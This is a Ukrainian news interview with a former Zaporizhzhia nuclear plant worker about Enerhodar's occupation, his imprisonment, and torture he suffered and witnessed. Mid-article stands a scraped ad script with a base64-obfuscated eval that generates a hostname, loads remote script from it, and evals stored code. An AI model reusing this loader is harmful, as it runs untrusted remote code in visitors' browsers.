Народився в Енергодарі, навчався у Севастополі, а після закінчення університету повернувся до рідного міста. З 2014 року Костянтин Чебаєвський почав працювати на Запорізькій АЕС машиністом. Обслуговував ту частину станції, яка відповідає за експлуатацію турбінного відділення.
Спогадами про окупацію Енергодара та захоплення АЕС російськими військами чоловік поділився з кореспондентами Суспільного.
Люди вийшли на мітинг проти армії РФ. Березень 2022 року. Фото: telegram-канал Дмитра Орлова
Про настрої населення перед 24 лютого
Костянтин розповідає, перед 24 лютого 2022 року між людьми ходили чутки про можливий наступ росіян:
«Навіть коли щось почало відбуватися, люди вважали, що Енергодар найбезпечніше місце. Але потім все перевернулося. Люди почали виїжджати, і навіть ті, хто вважали, що РФ немає сенсу сюди заходити, що все буде добре. Пішов відтік кадрів. Потім почалися проблеми з електроенергією в Україні. І так почалися відключення енергоблоків».
Енергодар, 2 березня. Люди вийшли, щоб протистояти колоні російської техніки. Фото: Telegram/Дмитро Орлов
Про початок повномасштабного вторгнення
«У мене була ранкова зміна. Я прокинувся, не міг повірити, що це відбувається. І вже коли їхав на роботу, читав новини. До моменту, коли вони зайшли в місто, коли зайняли позиції на станції, наша робота відбувалася в особливому режимі».
Коли Костянтин пішов на роботу 4 березня, на станції були вже правила: «Мінімальна кількість речей, особистий транспорт заборонено, речі в прозорих пакетиках. Ми виходили з автобуса, йшли шеренгою. На всю станцію залишилася 1000 людей. В звичайний день було по 5-6 тисяч».
Співробітників станції окупанти обмежили у пересуванні по блоку. Заборонили навіть спілкуватися:
«Почали обмежувати пронесення телефонів, власних речей. Вони турбувалися про свою безпеку, конфіденційність. Через керівництво тиснули на персонал. Казали, що будуть проблеми. Люди, які чинили супротив при в’їзді в місто, одразу почали потрапляти до полону».
Вигляд на Запорізьку АЕС зі зруйнованого будинку. Енергодар, 2022 рік. Фото: ДП «НАЕК «Енергоатом»
Чи справді росіяни розмістили свою техніку на території ЗАЕС?
«Вона з самого початку вже стояла по периметру. Вони організували, там якийсь свій зв’язок польовий. Це іноді виглядало як військова база. У них було місце, де вони жили. Було якось, точка якась в небі летить, і вони по ній стріляють із всього що в них є. Або йдеш на роботу, а там все КПП в гільзах, і це також вже тривожно».
Чи втручалися росіяни безпосередньо в вашу роботу?
«Ні. Вони тільки могли заважати своєю присутністю. Приходиш на роботу, а в тебе в марзалі стоїть три автівки військові. Ходити довколо них не можна, а тобі потрібно. Тільки через дозвіл якийсь спеціальний».
Скільки ви працювали під окупацією на станції?
«З березня до серпня. Виходить, майже пів року. Так».
Якою була ситуація в місті?
«Місто намагалося жити в чергах. У багатьох день починався з того, що ти виходиш і стоїш в черзі, чекаєш, купив щось, пішов додому. У магазинах спочатку взагалі нічого не було, жахливої якості речі були. Перший раз в житті такий сир куштував, який не сир взагалі. Потім почало з’являтись, але якість залишалась на низькому рівні».
Рогін мітингу російськими військами. 2022 рік. Фото: Телеграм-канал НАЕК «Енергоатом» var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Чи потрапляли ви до полону?
«6 серпня йшов з роботи, мене відвели в бік і сказали, що зараз за мною приїдуть. Я вже думками себе похоронив. А потім поїхали спочатку у відділ, потім до мене додому за комп’ютером та телефоном. Ставили питання провокаційні, намагалися дізнатися мою позицію щодо війни. На основі якогось повідомлення з Telegram вони припустили, що я причетний до обстрілів їх позицій».
Потім Костянтина помістили у камеру та змушували написати зізнання. За словами чоловіка, співкамерники допомогли йому адаптуватися та написати пояснювальну. Через декілька днів його знову викликали на допит:
«Погрожували всім. Застосували катування електричним струмом, душили. Посадили мене: «Зараз будеш дзвонити Леніну». Так у них називається. У них польовий телефон. І так накручують, там йде розряд по дротах, прив’язали одну частину до вуха, іншу до пальця, і продовжували таким ділом займатися. Ти нічого не можеш в цей момент, все відмовляє».
«Судячи з розмов всередині камери, те, куди я потрапив, це ще санаторій. Тому що там, вони кажуть, не було такого дня, щоб до них не зайшли і не почали бити. А те, що струмом б`ють, в якийсь момент вони звикли до цього. Ситуації різні були, ти їх слухаєш, думаєш: «Невже на це здатні люди?».
«Ситуації різні були, ти їх слухаєш, думаєш: «Невже на це здатні люди?» Про полон
Костянтин каже, зважаючи на те, як знущалися над іншими людьми, йому ще пощастило:
«Наприклад, людині зуби витягали пласкогубцями. У людей нирки відбиті, руки відбиті всі, вони всі сині. А те, що я пережив, то мені дуже пощастило. Потім сімнадцять днів я знаходився там. Але найстрашніше — ті випадки, коли в сусідній камері когось б’ють або не знаєш, що буде, коли заходить хтось у коридор, починає просто стукати по дверях».
«Заходять, питають, як тебе звати, за що ти там знаходишся і вирішують, що з тобою робити. Потім я потрапив до іншої камери. Мені дуже пощастило з людьми, які там знаходилися. Можна було переписуватись записочками. Передав, вони там читають, потім передають моїм батькам».
«При мені там вбили людину»
«При мені там вбили людину, я чув, як забили людину до смерті. В якийсь момент вони кричать: «Потрібен лікар, хто вміє робити штучне дихання?». Із сусідньої камери мого колегу відкривають, він біжить туди. Потім каже, що там вже нема чого було робити штучне дихання, там не було ребер. Тому так, якщо ти туди потрапляєш, там важко вижити».
Фото: АР
Коли вас звільнили?
«Перед Днем Незалежності мені просто кажуть: “На вихід з речами” і я такий: “Вау”. Я пішов, вони запитали, що я буду робити, куди буду рухатися, чи буду брати паспорт, чи працюватиму на “Росатом”. Я кажу: “Я хочу поїхати, не бачу в цьому сенсу”. Вони кажуть: «Походи до нас ще, повідзначайся, якщо будеш потрібен, ми тебе знайдемо».
Як ви виїжджали з під окупації?
«Тривожно. Як виїжджати з міста, п’ять блокпостів в сумі треба було проїхати. Ну й найсерйозніші там два перед самою Василівкою. Ми якраз в останній десятці виїжджали. Нам пощастило, там навіть суттєво не дивилися комп’ютери, телефони».
Запорізька атомна електростанція в Енергодарі, 1 травня 2022 року. Фото Андрія Бородуліна / AFP через Getty Images
Що зараз відбувається на атомній станції?
«Роботи суттєво нема, генерації енергії нема, персоналу стає все менше. Всі чекають повернення. Хтось стомився, хтось думає, що треба було поїхати, хтось думає, що погані всі, хто поїхали. Кількість людей з росатома збільшується, схиляють людей. Хто не погоджується, тому блокують пропуск. Хтось взагалі на двох стільцях намагається всидітись».
Наразі Костянтин оселився у Києві та започаткував власну справу. Після деокупації Енергодара чоловік хоче повернутися в рідне місто, щоб допомагати відновити роботу на АЕС, а також побачитися з рідними та близькими.
Підписуйтесь на Акцент в 
Заголовне фото: колаж «Суспільного» (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/spivrobitnik-zaes-rozpoviv-pro-okupatsiyu-energodara-robotu-na-stantsiyi-ta-polon/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
